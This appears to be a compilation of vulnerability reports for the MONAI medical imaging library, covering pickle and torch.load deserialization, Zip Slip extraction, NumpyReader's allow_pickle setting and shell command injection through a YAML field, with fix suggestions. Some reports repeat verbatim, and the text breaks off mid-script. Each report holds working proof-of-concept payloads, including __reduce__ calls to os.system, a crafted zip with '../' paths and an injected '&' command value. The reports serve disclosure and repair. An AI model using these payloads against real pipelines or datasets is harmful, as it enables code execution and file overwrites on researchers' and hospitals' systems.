GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact

Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository
2. Victim must configure MONAI to download from that repository
3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

• The permissions of the user running MONAI
• The target location of the escaped files
• Python version (newer versions have some built-in path normalization)

Mitigating Factors

• Requires attacker to control an NGC private repository
• Modern Python versions (3.12+) have some built-in path normalization
• The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.

Resources

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• Snyk: Zip Slip Vulnerability
• Python zipfile.extractall() Warning

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  

#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.

import os  
import tempfile  
import json  
import torch  
from pathlib import Path  
  
class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  
  
def test_checkpoint_loader_attack():  

      

    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  
      

    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  
      

    torch.save(malicious_checkpoint, checkpoint_file)  
      
     
    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  
          
 
    model = nn.Linear(10, 1)  
        
    loader = CheckpointLoader(  
        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  
          
    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  
          
    engine = MockEngine()  
    loader(engine)  
          
          
    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  
  
if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()  

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

Summary

The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.

When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle  
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd
  adding: malicious.txt (stored 0%)
  adding: ../../../../../../etc/passwd (deflated 64%)
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls
malicious.zip  p1.py  p2.py  r1.py  test_bundle

Then start the http service through python

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')"
2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---
2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'
2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'
2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'
2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'
2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'
2025-08-11 20:49:01,668 - INFO - > progress: True
2025-08-11 20:49:01,668 - INFO - ---


test_bundle.zip: 8.00kB [00:00, 204kB/s]
2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip
2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.
2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.
2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /
autodl-pub  cuda-keyring_1.0-1_all.deb  home  lib32   **malicious.txt**  opt   run   sys  var
bin         dev                         init  lib64   media          proc  sbin  tmp
boot        etc                         lib   libx32  mnt            root  srv   usr

We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.

Impact

Arbitrary file write

Repair Suggestions

Check the contents of the downloaded Zip file, or use a safer method to load it

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
